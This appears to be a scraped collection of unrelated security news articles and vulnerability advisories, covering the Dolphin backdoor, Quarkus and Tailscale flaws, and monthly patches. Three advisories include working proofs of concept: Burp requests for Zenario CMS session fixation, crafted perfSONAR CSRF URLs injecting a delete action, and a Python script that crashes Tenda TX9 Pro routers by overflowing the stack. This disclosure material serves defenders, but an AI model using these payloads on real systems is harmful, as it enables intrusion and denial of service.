The North Korea-linked **ScarCruft** group has been attributed to a previously undocumented backdoor called **Dolphin** that the threat actor has used against targets located in its southern counterpart.

"The backdoor \[...\] has a wide range of spying capabilities, including monitoring drives and portable devices and exfiltrating files of interest, keylogging and taking screenshots, and stealing credentials from browsers," ESET researcher Filip Jurčacko said in a new report published today.

Dolphin is said to be selectively deployed, with the malware using cloud services like Google Drive for data exfiltration as well as command-and-control.

The Slovak cybersecurity company said it found the implant deployed as a final-stage payload as part of a watering hole attack in early 2021 directed against a South Korean digital newspaper.

The campaign, first uncovered by Kaspersky and Volexity last year, entailed the weaponization of two Internet Explorer flaws (CVE-2020-1380 and CVE-2021-26411) to drop a backdoor named BLUELIGHT.

ScarCruft, also called APT37, InkySquid, Reaper, and Ricochet Chollima, is a geo-political motivated APT group that has a track record of attacking government entities, diplomats, and news organizations associated with North Korean affairs. It's been known to be active since at least 2012.

Earlier this April, cybersecurity firm Stairwell disclosed details of a spear-phishing attack targeting journalists covering the country with the ultimate goal of deploying a malware dubbed GOLDBACKDOOR that shares tactical overlaps with BLUELIGHT.

The latest findings from ESET shed light on a second, more sophisticated backdoor delivered to a small pool of victims via BLUELIGHT, indicative of a highly-targeted espionage operation.

This, in turn, is achieved by executing an installer shellcode that activates a loader comprising a Python and shellcode component, the latter of which runs another shellcode loader to drop the backdoor.

"While the BLUELIGHT backdoor performs basic reconnaissance and evaluation of the compromised machine after exploitation, Dolphin is more sophisticated and manually deployed only against selected victims," Jurčacko explained.

What makes Dolphin a lot more potent than BLUELIGHT is its ability to search removable devices and connected smartphones, and exfiltrate files of interest, such as media, documents, emails, and certificates.

The backdoor, since its original discovery in April 2021, is said to have undergone three successive iterations that come with its own set of feature improvements and grant it more detection evasion capabilities.

"Dolphin is another addition to ScarCruft's extensive arsenal of backdoors abusing cloud storage services," Jurčacko said. "One unusual capability found in prior versions of the backdoor is the ability to modify the settings of victims' Google and Gmail accounts to lower their security, presumably in order to maintain account access for the threat actors."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

North Korea Hackers Using New "Dolphin" Backdoor to Spy on South Korean Targets

New protective measures work behind the scenes, with little impact on the customer experience.

Every bank and financial institution is having a serious conversation about security. In 2021, data breaches grew 79%, impacting 300 million people in the US. Simultaneously, more people are banking online than ever before. Today, 67% of banking customers access and manage their accounts digitally, either through a mobile app or a computer. Banks have the salient task of renewing customer confidence and creating secure digital platforms — but it can't come at the cost of customer experience. Through a robust technology platform, best practices, and financial technology (fintech) partnerships, banks can amplify the safety of online banking without derailing the industry's explosive growth.

**Debunking Myths About Digital Banking**

There is an ugly rumor going around that digital banking is less secure than traditional brick-and-mortar banking — but nothing could be further from the truth. Reputable online banking platforms are backed by the same Federal Deposit Insurance Corporation (FDIC) coverage as any other banking institution, meaning individual accounts are protected against fraud for up to $250,000.

Moreover, digital banks are built with sophisticated technology, and they already have the infrastructure in place to implement layered security and data protection. This makes them inherently less vulnerable to cybercrime than traditional banks. In digital banking, two-step authentication and data encryption are already a standard, and online banks are adopting advanced technologies like smart fraud monitoring systems that use machine learning and advanced data gathering to identify fraudulent activity. Financial institutions across the board are making the biggest investment in AI technology as a key to fraud prevention.

Many of these protective measures are happening behind the scenes, and operate with little impact on the customer experience. They work in real time to verify customer identity, protect information, minimize human error, and block fraudulent transactions.

**Creating a Frictionless Experience**

Security must be integrated into the customer journey, from the moment a customer opens a bank account through routine banking activity. Banks collect and store personal information as well as handle transactions with direct parties and counterparties, making it critical to have fraud prevention measures at each touchpoint through the customer experience. Standard best practices start with vendor management, risk assessment, and ongoing compliance monitoring.

Proper vendor management creates a protected platform and mitigates the risk of a cyber breach by securing front-end systems and conducting thorough due diligence of each partner. This process is a natural foray into strong risk assessment practices, which involve a deep review of partners, existing compliance disclosures, and financial risk. Compliance monitoring is the final piece of the puzzle. A survey from Ncontracts found that nearly 90% of financial institutions are concerned about regulatory compliance, but banks should think of regulators as partners in establishing a solid security program. Quality compliance ensures banks better understand and anticipate emerging risks before they have an opportunity to impact security or the customer experience.

**The Importance of Fintech Partnerships**

Fintech partnerships are an optimal way to access the technology infrastructure required to build a secure network. Last year, 65% of banks partnered with a fintech company; 35% of banks invested in a fintech; and 89% of banks said that fintech relationships were important to the institution.

This symbiotic relationship is becoming a mainstay in the industry because banks can leverage existing technology to develop strong data modeling and data governance practices rather than building the technology from scratch — and they work. Among banks that partnered with a fintech to improve fraud losses, 83% said the partnership helped the bank meet that objective. Fintechs also benefit by tapping into the bank's data to create a robust tech stack between the two enterprises.

While fintech partnerships have a lot of benefits, they are not a solution for every organization, and alignment of objectives, culture, and business strategy is critical to making the relationship successful. Vetting prospective fintech partners should explore the mechanics of core and digital systems integration, confirm relevant technology experience in tools like application programming interface (API), and identify key points of contact to ensure there is a dedicated staff to oversee the partnership.

By leveraging technology, pursing fintech partnerships, and establishing best practices, banks can protect their digital platform from cybercrime and data breaches without diminishing quality service and convenience. Security will become a seamless part of the customer experience. The only hint it's happening will be missing fraud alerts in your inbox.

How Banks Can Upgrade Security Without Affecting Client Service

Current authentication methods are based on the bearer model, but lack of visibility into the entities leveraging API secrets has made this untenable.

Today most API communication between machines is secured through API secrets — static keys, tokens, or PKI certificates that act like system passwords in order to authenticate machines and broker communication between them. These machines could be cloud workloads, pods, containers, servers, virtual machines, microservices, or physical machines like servers or Internet of Things devices.

The challenge with current mechanisms of securing authentication between machines is that they all prescribe a bearer model of authentication. As long as an API key, token, or certificate is valid, it can be held and used from anywhere, even a nefarious machine. The model does not guarantee trusted access or trust in the API client. Further adding to the risk is that these API secrets are often long-lived and cumbersome to maintain hygiene around.

Perfect security hygiene would mean each API secret is uniquely assigned to only one machine, never shared, routinely rotated. and securely distributed through development and deployment systems to the machine that needs it without the risk of being leaked along the way. The reality is API secrets are often shared across dozens or hundreds of machines and workloads. They are rarely, if ever, rotated, and provisioning and managing secrets across different applications and environments is an arduous task.

**The Cost of Secrets**

According to a 2021 report by 1Password, IT and DevOps spend an average of over 25 minutes each day managing secrets, at an estimated payroll expense of $8.5 billion annually across companies in the US. In a world where development and deployment systems are fully automated, provisioning and rotating secrets continues to be a very manual, laborious process.

Leaked infrastructure secrets come at a measurable cost. Exposed code, credentials, and keys — whether they are exposed accidentally or intentionally — cost companies an average of $1.2 million in revenue per year, according to the 1Password report.

More recently, the static nature of API secrets has made them ripe targets for adversaries. Much like passwords, secrets tend to become more vulnerable as they age — a problem that is only compounded when those secrets are being shared across dozens, sometimes hundreds of different workloads. Today, secrets are getting leaked at an alarming rate in code repositories, continuous integration (CI) systems like Jenkins or Travis, orchestration tools like Kubernetes, and cloud hosting environments like Amazon Web Services (AWS), Google Cloud Platform (GCP), and Microsoft Azure. Ditto for logging tools like Splunk and Elastic and even collaboration environments like Slack. Organizations leaked more than 6 million passwords, API keys, and other sensitive data in 2021, doubling the number from the previous year, according to a recent GitGuardian review.

**Tools to Improve Things**

Enterprises can take extra steps to keep their secrets more secure. Secrets management solutions like vaults or secrets managers help organize and better secure these system passwords. But if your organization happens to be operating workloads with all three cloud providers, your team will have to leverage three proprietary secrets management systems in order to safeguard those secrets — Azure Key Vault, AWS Secrets Manager, and Secret Manager for GCP.

Tools do exist that can scan your environments to find hard-coded secrets in source code, code repositories, CI environments, and logging systems. Some tools can also scan public personal and organization repositories for secrets that may have already been exposed.

**An Unbearable Burden**

One significant blind spot for many engineering and security teams is visibility into the identities of the machines, applications, services, or workloads that are leveraging API secrets. If it isn't already broken by this point, that becomes the point where the bearer model starts to break down.

Between the manual nature of secrets management, the vulnerability of these static values, and the way the explosion of API usage has significantly increased the amount of compromised keys, tokens, and certificates, not having visibility into the entities that are leveraging API secrets has made the bearer model untenable. CISA's zero-trust framework and NIST 800-207 provide guidelines around how organizations think about machines and workloads as nonperson entities — where the user isn't a human, but rather another application or service account.

While CISA and NIST guidelines assist organizations in handling identity and access, the solution to this problem has already been established for human-to-machine interactions: multifactor authentication (MFA). If we think about the genesis of MFA as it relates to applications and services human users are accessing, the purpose is to validate the user identity with a set of credentials. Many companies require employees to enable MFA to ensure that it is indeed Jane who is trying to access the CRM application with her username and password, just in case her user credentials were compromised. The static nature of passwords, coupled with how long they tend to age well past most security guidelines, makes them ripe targets for adversaries, which is why many organizations mandate MFA to access applications that contain sensitive data.

The bearer model is no different — keys, tokens, and certificates are static values that act as system passwords. The challenge many organizations face is having visibility into the identities of the machines, applications, workloads, or services that are ultimately leveraging those credentials.

API Secrets: Where the Bearer Model Breaks Down

Red Hat has issued patches for a bug in an open source Java virtual machine software that opens the door to drive-by localhost attacks. Patch now, as it's easy for cyberattackers to exploit.

A critical remote code execution (RCE) bug in an open source Java virtual machine (JVM) framework threatens enterprise environments by giving attackers an easy way to compromise development teams — thus gaining access to production systems.

That's according to Joseph Beeton, senior application security researcher at Contrast Security, who discovered the vulnerability in Quarkus, a Red Hat-managed, Kubernetes-native Java framework that's optimized for JVMs.

The bug is tracked as CVE-2022-4116 and has been given a rating of 9.8 on the CVSS.

The relatively new Quarkus framework is used as a platform for serverless, cloud, and Kubernetes environments — the last of which is the de facto container management platform for cloud-native environments, and has had numerous security issues of its own.

The Quarkus flaw is present in the framework's Dev UI Config Editor, making it vulnerable to drive-by localhost attacks that could lead to RCE, Beeton wrote in a blog post published Nov. 29. Moreover, "exploiting the vulnerability isn’t difficult, and can be done by a malicious actor without any privileges," he noted in the post.

Beeton discovered the vulnerability some weeks ago while preparing a talk for the recently held DeepSec conference, but says that he waited to disclose his findings until after Red Hat published details of the flaw on its customer support portal Nov. 21. Beeton also published a proof of concept exploit for CVE-2022-4116 in his post.

Patched versions of Quarkus, available now, are 2.14.2.Final and 2.13.5.Final (LTS); anyone using the framework is encouraged to update immediately.

**'Dangerous' Security Flaw**

The vulnerability affects the "quarkus\_dev\_ui" package, according to Red Hat, which means it impacts developers building services using Quarkus, not actual services running in production.

However, it's still dangerous for several reasons — for one because it's fairly easy to exploit, and for another because developers often have direct access to an enterprise's production environment, Beeton tells Dark Reading.

"Developers generally have access to production systems, and even if they don't, they do have the ability to make code changes," he says. "A compromised developer's machine could be leveraged to push malicious code changes to production.”

For example, if a developer running Quarkus locally visits a website with malicious JavaScript, that JavaScript can silently execute code on the developer’s machine, which can lead to all kinds of trouble on any network or assets attached to it.

In enterprise cloud-based environments, developers also often have to code bases, Amazon Web Services keys, server credentials, and other assets, Beeton said in his posting.

"Access to the developer's machine gives an attacker a great deal of scope to pivot to other resources on the network, as well as to modify or to flat-out steal the codebase," he wrote.

**The Bug in a Cloud-Security Context**

The flaw must be understood in the context of cloud-based footprints that have numerous hosted services running in a larger environment, Beeton explained. One misconception about this type of architecture is that "services that are only bound to localhost are not accessible from the outside world," he noted in his post.

"Because of this misplaced belief, developers, for the sake of convenience, will run services they are developing that are configured in a less secure way compared with how they would \[typically\] do it," he wrote.

There's no problem with this scenario in the case of accessing normal JavaScript in a browser and loaded from a nonmalicious domain, he said. In that case, the JavaScript would not be able to make requests to other domains, including localhost, without a preflight request that is used to check the server's Cross-Origin Resource Sharing (CORS) settings. This is a standard check to see if the server allows requests from the domain being accessed.

However, in the case of a certain type of request that does not require a preflight request — called Simple Requests — the flaw comes into play, Beeton said.

"For a Simple Request, the browser makes the request, receives the response, but that data — including the HTTP Status Code — is not returned to JavaScript," he wrote. "It is possible, however, to infer whether the request was successful based on how long it took to return. Within those constraints, it is possible to access localhost and, in certain circumstances, to trigger arbitrary code execution."

**Multiple Ways Developers Can Be Targeted**

If this is the case, threat actors can compromise websites that developers use by injecting malicious JavaScript into ads served on the sites. For an attack on the Quarkus flaw to be successful in this scenario, someone who is running Quarkus in developer mode would have to visit a website containing the malicious JavaScript, Beeton said.

In this way, attackers can access developer code via non preflighted HTTP requests to those services bound to localhost, he explained.

"It just requires that Quarkus is running in developer mode at the same point the browser tab is open," he noted. "No other interaction is required for this vulnerability to be exploited."

Attackers also can exploit the flaw by launching a phishing attack that convinces a developer to open a web browser on a compromised page. "If they happen to be running Quarkus in developer mode, compromising them would merely entail getting them to click the link; the page containing malicious JavaScript will then be loaded, and they would be compromised," Beeton explained.

Other ways the flaw can be exploited are through common misconfigurations in the Spring framework, which provides a comprehensive programming and configuration model for modern Java-based enterprise applications, he said. Alternatively, an attacker can exploit known vulnerabilities to generate an RCE on the developer's machine or on other services on their private network.  

**Potential Impact and Fix**

There are two bits of good news surrounding the status of the flaw, Beeton acknowledged. One is that Red Hat's Quarkus team, as mentioned before, already has issued a fix that requires the Dev UI to check origin headers for "origin : localhost" — which is set by the browser itself and not modifiable by JavaScript — and only accept these requests, he said.

The other reassuring aspect is that Quarkus is a young framework, having been launched in 2019, so it's not likely to be used as extensively as, say, the open-source Spring Boot framework, he said.

And while Quarkus is gaining in popularity, particularly for Kubernetes enthusiasts, "given its ease of use and significantly lighter demand on hardware resources to run and to run applications," it still is not as widely used as Kubernetes itself, Beeton said.

"Therefore, the number of developers affected by this drive-by localhost attack is probably small," he said.

**Squashing the Attack Vector**

Even with the Quarkus flaw fixed, developers using open-source frameworks still should be wary as they develop services via the localhost, as there are likely more vulnerabilities equivalent to CVE-2022-4116 that have yet to be found, Beeton warned.

A solution for the entire attack vector is on the horizon with W3C’s new Private Network Access (PNA) specification, which eventually will be integrated into browsers to squash this mode of exploit altogether, he said.

Currently, however, only the team supporting the Chromium framework — the basis for the Chrome and Edge browsers — is actively working to implement the new spec, Beeton said. In fact, the targeted mid-December release of Chrome 109 should include support for PNA.

Firefox, meanwhile, has PNA support on its backlog, but has not yet scheduled a release date, while plans to add the spec to Safari or Edge remain unclear, though the Chromium update may bode well for its upcoming addition in Edge, he added.

Critical Quarkus Flaw Threatens Cloud Developers With Easy RCE

Users should manually update to the latest version now

Users should manually update to the latest version now

  

UPDATED A series of flaws in Tailscale, an open source mesh virtual private network (VPN) software, could allow attackers to stage remote code execution (RCE) attacks against VPN nodes.

Tailscale depends on multiple services. The main process, called tailscaled, does the work of connecting nodes and sending/receiving packets.

There is a separate process that provides a user interface and a tray icon to configure and monitor the services. This front-end interface communicates with the tailscaled service through an HTTP API called .

**From DNS rebinding to control plane takeover**

If a malicious website tries to send a JavaScript command to the Tailscale LocalAPI, the browser’s Same-Origin policy will prevent it.

However, according to the findings of security researcher Emily Trau and Jamie McClymont, if the attacker manages to perform a DNS rebinding attack on the Tailscale node, they will be able to map their malicious domain to the local IP and send arbitrary commands to the .

“Rebinding is a bug with very niche applicability (HTTP services listening on private networks with no explicit authentication), usually discussed in the context of IoT devices,” McClymont told The Daily Swig. “It’s the type of thing there are talks about it at hacker conferences and such, and yet I’ve never encountered a situation where it’s exploitable during a pentest job.”

The does not authenticate client requests aside from verifying that they’re coming from the same user that is running the Tailscale GUI.

The malicious website can exploit this feature to change the Tailscale “control plane” to an arbitrary server. The “control plane” is the server that stores the public keys of the VPN nodes (also called the tailnet).

**In a tailspin**

As the tailnet administrator, the attacker can now enable Taildrop, a feature that allows users to send files between their devices on a Tailscale network.

Using Taildrop, the attacker can then send an arbitrary executable to the victim’s desktop without marking it as originating from the web, which means Tailscale will be able to launch it without requiring user interaction.

To execute the payload, the attacker can use another feature of the control plane, which demands the Tailscale node to reauthenticate itself when trying to perform a privileged action. The re-authentication prompt includes an address that is forwarded to the GUI and runs it in the browser.

To run the file, the attacker will need to have its full path, which requires knowledge of the victim’s username. To obtain the victim’s username, the attacker can prompt for an SMB path through the Tailscale network. This will send the Windows username to the attacker-controlled tailnet server.

“For the Windows RCE chain, you just need to click a link to an attacker-controlled webpage, or for the malicious Javascript to be served up to you some other way (e.g. malicious JS embedded in an ad on a legit site, or an XSS bug in legit site being exploited to add the malicious code),” McClymont said.

If you were running a stable Tailscale version, the exploit will lie dormant until you next restart Tailscale or reboot your machine, at which point the RCE happens.

“You could argue this is still zero interaction since Windows Update will automatically reboot without interaction eventually,” McClymont said. “If you had the unstable pre-release Tailscale version from right before we found the bugs, we could trigger the exploit immediately without waiting for a reboot.”

**A catch on DNS rebinding**

A recent modification to the policy forbids rebinding a site that was hosted on a public IP to a private IP space. This prevents the attacker from rebinding an internet-hosted malicious website to a local IP address.

But it is still applicable if the attacker is on the same network as the victim. Also, the Firefox browser does not apply the private network address restriction, which makes it vulnerable to internet-hosted attacks.

Moreover, Trau found that PeerAPI, another Tailscale component, runs on the 100.100.100.100 IP and was vulnerable to rebinding, which would give the attacker another pathway to .

Also, if the attacker sends multiple files to the victim’s device through Taildrop, some of them will fail to reach their destination and will remain in a temporary location that is reachable through web calls without private network access restrictions.

Trau published a proof-of-concept video of the attack. Windows machines are especially vulnerable to different variations of the attack. Other operating systems can also be exploited under special circumstances.

The issues have been solved in the latest version of Tailscale. Since Tailscale does not automatically update itself, users should make sure they are running v1.32.3 or later.

“If you’re running HTTP services over Tailscale which rely on Tailscale for authentication (they don’t have their own login page etc.), you need to harden them against rebinding attacks, either by allowlisting Host headers or by running those services only on HTTPS,” McClymont said.

This article has been updated to include comment from researchers.

RECOMMENDED Intel disputes seriousness of Data Centre Manager authentication flaw

Tailscale VPN nodes vulnerable to DNS rebinding, RCE

A vulnerability, which was classified as problematic, has been found in Tribal Systems Zenario CMS 9.3.57595. This issue affects some unknown processing of the component Remember Me Handler. The manipulation leads to session fixiation. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-214589 was assigned to this vulnerability.

Description: In Zenario CMS user session identifier (authentication token) is issued to the browser prior to authentication but is not changed after user logout and login again into the application when "Remember me" option active. Failing to issue a new session ID following a successful login introduces the possibility for an attacker to set up a trap session on the device the victim is likely to login with.

The product(s): https://zenar.io

Affected product(s)/code base: https://github.com/TribalSystems/Zenario

Affected component(s): /Zenario-9.3.57595/zenario/admin/welcome.ajax.php

Tested version: Zenario-9.3.57595

Proof of Concept:

1.  Logout with current session to confirm the session is not valid

Burpsuite Request:

POST /Zenario-9.3.57595/zenario/admin/welcome.ajax.php?task=logout&get=%7B%22task%22%3A%22logout%22%2C%22cID%22%3A%221%22%2C%22cType%22%3A%22html%22%7D HTTP/1.1
Host: localhost
Content-Length: 19
Accept: text/plain, \*/\*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Referer: http://localhost/Zenario-9.3.57595/admin.php?task=logout&cID=1&cType=html
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9
Cookie: PHPSESSID-Zenario\_9\_3\_57595=mbu2ar0qnut2bmibuka94fq1ue
Connection: close

\_fill=true&\_values=

To confirm, request change password for admin is not success.

2.  Login as administrator with "Remember me".

Burpsuite Request:

POST /Zenario-9.3.57595/zenario/admin/welcome.ajax.php?task=&get=%7B%22cID%22%3A%221%22%2C%22cType%22%3A%22html%22%7D HTTP/1.1
Host: localhost
Content-Length: 726
Accept: text/plain, \*/\*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Referer: http://localhost/Zenario-9.3.57595/admin.php?cID=1&cType=html
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en;q=0.9
Cookie: PHPSESSID-Zenario\_9\_3\_57595=mbu2ar0qnut2bmibuka94fq1ue
Connection: close

\_validate=true&\_box={"tab"%3a"~login","tabs"%3a{"login"%3a{"edit\_mode"%3a{"on"%3a1},"fields"%3a{"reset"%3a{"\_was\_hidden\_before"%3atrue},"description"%3a{},"secure\_connection"%3a{"\_was\_hidden\_before"%3atrue},"not\_secure\_connection"%3a{},"username"%3a{"current\_value"%3a"~leecybersec~40gmail~2Ecom"},"password"%3a{"current\_value"%3a"~leecybersec"},"admin\_login\_captcha"%3a{"\_was\_hidden\_before"%3atrue,"current\_value"%3a""},"remember\_me"%3a{"current\_value"%3atrue},"admin\_link"%3a{},"login"%3a{"pressed"%3atrue},"forgot"%3a{"pressed"%3afalse},"previous"%3a{"pressed"%3afalse}}},"forgot"%3a{"edit\_mode"%3a{"on"%3a1},"fields"%3a{"description"%3a{},"email"%3a{"current\_value"%3a""},"previous"%3a{},"reset"%3a{}}}},"path"%3a"~login"}

To confirm, request change password for admin is success.

Discoverer(s)/Credits: CMCSOC Redteam (@lithonn)

*   Ngo Van Tu (@leecybersec)
*   Tran Thi Nho (@nhott)
*   Huynh Nhat Hao (@h40huynh)
*   Le Thi Huyen My (@Huy3nMy)

CVE-2022-4231: bug-report/vendors/tribalsystems/zenario/session-fixation at main · lithonn/bug-report

Plus: Major patches dropped this month for Chrome, Firefox, VMware, Cisco, Citrix, and SAP.

November saw the release of patches from the likes of Apple’s iOS, Google Chrome, Firefox, and Microsoft Windows to fix multiple security vulnerabilities. Some of these issues are pretty severe, and several have already been exploited by attackers. 

Here’s what you need to know about all the important updates released in the past month.

Apple iOS and iPadOS 16.1.1

Apple has released iOS and iPadOS 16.1.1, which the iPhone maker recommends all users apply. The patch fixes two security vulnerabilities—and given the speed of the release, you can assume they are pretty serious. 

Tracked as CVE-2022-40303 and CVE-2022-40304, the two flaws in the libxml2 software library could allow an attacker to execute code remotely, according to Apple’s support page. The issues were both reported by security researchers working for Google’s Project Zero. 

For Mac users, the flaws were addressed by macOS Ventura 13.0.1.

The good news is, it’s believed neither vulnerability has been exploited by attackers, but it’s still a good idea to apply the update as soon as possible. 

Microsoft Windows

Microsoft’s November Patch Tuesday was another big release, seeing the Windows maker fix 68 vulnerabilities, four of which were zero days. 

Tracked as CVE-2022-41073, the first is a Windows print spooler elevation of privilege vulnerability that could allow a cybercriminal to gain system privileges. Meanwhile, CVE-2022-41125 is a Windows Cryptographic Next Generation key isolation issue that could allow an adversary to escalate privileges and gain control of the system. CVE-2022-41128 is a Windows scripting language vulnerability that could result in remote code execution. Lastly, CVE-2022-41091 is a vulnerability in Microsoft’s Mark of the Web security feature.

Google Android

More big updates for users of Google’s Android devices have arrived in November, with Google issuing patches for multiple vulnerabilities, some of which are serious. At the top of the list is a high-severity vulnerability in the Framework component that could lead to local escalation of privilege, Google said in a security advisory.

The patches in November include two Google Play system updates for issues impacting the Media Framework components (CVE-2022-2209) and WiFi (CVE-2022-20463). Google also fixed five issues affecting its Pixel devices.

The Android updates have started to roll out to Samsung devices, including third- and fourth-generation Galaxy foldables. You can check for the update in your Settings. 

Google Chrome 

The world’s most popular browser continues to be a major target for attackers, with Google this month fixing its eighth zero-day vulnerability this year. 

The vulnerability, tracked as CVE-2022-4135, is a heap buffer overflow in GPU reported by Clement Lecigne, a researcher in Google's own threat analysis group. Google said it “is aware that an exploit for CVE-2022-4135 exists in the wild.”

Earlier in the month, Google issued an update to fix 10 Chrome vulnerabilities, six of which are rated as high-severity. These include four use-after-free bugs: CVE-2022-3885, CVE-2022-3886, CVE-2022-3887, and CVE-2022-3888. Meanwhile, CVE-2022-3889 is a “type confusion” issue in V8, and CVE-2022-3890 is a heap buffer overflow in Crashpad. 

Mozilla Firefox

November was also a big month for Google Chrome competitor Firefox. Mozilla has issued Firefox 107, fixing 19 security vulnerabilities, eight of which are marked as having a high impact. 

One of the most important patches is for CVE-2022-45404, a full-screen notification bypass that could allow an attacker to cause a window to go full-screen without the user seeing the notification prompt. This could result in spoofing attacks. Meanwhile, several use-after-free bugs could lead to an exploitable crash, and one flaw could be exploited to run arbitrary code.

VMWare

Software maker VMWare has released security fixes for multiple security vulnerabilities in its VMware Workspace ONE Assist, three of which have a CVSSv3 base score of 9.8. The first, CVE-2022-31685, is an authentication bypass vulnerability. “A malicious actor with network access to Workspace ONE Assist may be able to obtain administrative access without the need to authenticate to the application,” VMWare warned in an advisory.

A broken authentication method vulnerability tracked as CVE-2022-31686 could enable a malicious actor with network access to obtain admin access without the need to authenticate.

Drop What You're Doing and Update iOS, Android, and Windows

perfSONAR v4.x <= v4.4.5 was discovered to contain a Cross-Site Request Forgery (CSRF) which is triggered when an attacker injects crafted input into the Search function.

Vendor: perfSONAR  
Link: https://github.com/perfsonar/  
Affected Versions: v4.x <= v4.4.5  
Vulnerability Type: Partial Blind CSRF  
Discovered by: Ryan Moore  
CVE: CVE-2022-41413

**Summary**

A partial blind CSRF vulnerability exists in perfSONAR v4.x <= v4.4.5 within the /perfsonar-graphs/ test results page. Parameters and values can be injected/passed via the URL parameter, forcing the client to connect unknowingly in the background to other sites via transparent XMLHTTPRequests. This partial blind CSRF bypasses the built-in whitelisting function in perfSONAR.

This vulnerability was patched in perfSONAR v4.4.6.  

**Proof of Concept****Examples**

Here are two examples of this vulnerability. For further details, review the Technical Overview section below.

**Example 1:**

Client browser connects to www.google.com in the background.  
http://192.168.68.145/perfsonar-graphs/?source=1&dest=2&url=https://www.google.com

**Example 2:**

Client browser connects to arbitrary IP and port in the background, passing delete parameter to /api endpoint.  
http://192.168.68.145/perfsonar-graphs/?source=8.8.8.8&dest=%26action%3Ddelete&url=http://192.168.68.113:4444/api

**Technical Overview**

In these examples, the graphs.json whitelist was enabled by uncommenting url\_whitelist. By uncommenting these, it enables whitelisting and perfSONAR should no longer be allowed to connect to sites not found in the whitelist. But unfortunately that was not the case.

**Example 1:**

With the whitelist enabled and navigating to the following URL, the site returns “URL is not whitelisted” output to the screen as intended. This is to prevent you from connecting to unwanted sites.

http://192.168.68.145/perfsonar-graphs/?source=1&dest=2&url=https://www.google.com

But, if you observe via the browser developer console (or via a web proxy), there is a Jquery module that forces the client to make transparent requests in the background to whatever URL was specified.

Open your web browser, right click, Inspect, and go to Network. Now with Inspect open, navigate to the same URL and observe. In the background, you will see requests from the client to the URL that was specified, in this case www.google.com.

http://192.168.68.145/perfsonar-graphs/?source=1&dest=2&url=https://www.google.com

To compound this issue, it was discovered that URL encoded parameters could be injected into the dest parameter value and passed to the XMLHTTPRequests. This allows us to inject parameters into the GET request URI and send those as a CSRF attack to the URL of our choosing (transparently in the background).

For example purposes, here we will use the https://www.google.com/search URL and inject the q=csrf parameter and value, which tells Google what to search for. We open the following URL from our browser with Inspect open, to observe the transparent connection and search to Google.

http://192.168.68.145/perfsonar-graphs/?source=1&dest=s%3Dcsrf2&url=https://www.google.com

Fortunately Google and CORS prevents the query from working, but the site still connects to Google (or any site specified) without the user knowing, transparently in the background. Many sites have CSRF protections, but some do not. Now I will start a web server on another host and demonstrate how the CSRF attack might be used to attack other sites.

**Example 2:**

Here we are using another internal web server for testing. We simulate an API with a delete function. While the web server is listening on another internal machine, we open the following URL in the victim’s browser.

http://192.168.68.145/perfsonar-graphs/?source=8.8.8.8&dest=%26action%3Ddelete&url=http://192.168.68.113:4444/api

Here we observe the web server output, you can see the requests coming from the client. Notice the third line down, you can see the parameter injection worked correctly, we have sent the action=delete parameter to the /api endpoint on the designated server. (In this case fictitious for demonstration purposes).

This CSRF attack is unauthenticated by default, unrestricted, and the existing whitelist mechanism does not protect against it.

**Remediation**

Update perfSONAR to v4.4.6 or newer.

**References**

*   https://lists.internet2.edu/sympa/arc/perfsonar-user/2022-11/msg00008.html
*   https://www.perfsonar.net/releasenotes-2022-11-09-4-4-6.html
*   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41413

CVE-2022-41413: GitHub - renmizo/CVE-2022-41413

Tenda TX9 Pro v22.03.02.10 was discovered to contain a stack overflow via the list parameter at /goform/SetIpMacBind.

Affect device: Tenda-TX9 Pro V22.03.02.10 (https://www.tendacn.com/download/detail-4219.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability is a stack overflow triggered in the sub_42EDE4 function, which satisfies the request of the upper-level interface function sub_42F124, that is, handles the post request under /goform/SetIpMacBind

The sub_42F124 function calls sub_42EFF8 function

In the sub_42EFF8 function, the two local variables v4 and v5 are obtained directly from the http request parameter bindnum and list, respectively .

The address of v5 (v9) is used as the second parameter of the sub_42EDE4 function

Then it calls sub_42EDE4 function

In the sub_42EDE4 function, v6 is incoming **list** parameter, and it is copied to v18 without length limit and security check. So the attacker can cause stack overflow through a long list and achieve denial of service attack

**poc**

import requests
from pwn import \*

url \= "http://192.168.28.131/goform/SetIpMacBind"
cookie \= {"Cookie":"password=aaa"}
data \= {"bindnum": "1", "list":"\\r" + "A" \* 0x500}

requests.post(url, cookies\=cookie, data\=data)

CVE-2022-45337: Vulnerability/Tenda/TX9Pro/1 at master · no1rr/Vulnerability

Cloud-native application protection platforms can apply machine-learning algorithms on cloud data to identify accounts with abnormal permissions and uncover potential threats.

Over the past decade, we've seen a dramatic uptick in cloud migrations. On-premises solutions are becoming a thing of the past, and the cloud is becoming the default in the present. But why cloud, and why now?

Many organizations are currently undergoing a digital transformation. Much of this is expedited, due to the COVID-19 pandemic. Moving to the cloud offers numerous benefits—scalability, agility, and cost reduction being some of the most significant. Legacy solutions require setting up more physical servers, which increases complexity and operational effort, leading to higher costs. Meanwhile, cloud lets us do everything—and more—with just a few clicks.

The move to the cloud poses new challenges. One of the simplest ways attackers can get to an organization's crown jewels in the cloud is by clearing attack paths through a combination of network access and permissions. In what's quickly becoming a go-to method, many attackers use cloud-native privilege escalation techniques like PassRole to gain privileged access. The smallest drift in an environment can open up these attack paths in seconds, creating utter madness for a business. With the right privileges, data exfiltration takes mere moments and is almost impossible to detect.

To expose these types of attack paths, DevOps and security teams can use machine-learning capabilities embedded in a cloud-native application protection platform (CNAPP) solution to detect abnormal permissions, correlate all the signals, and search for privileges that collide with public exposures and vulnerabilities.

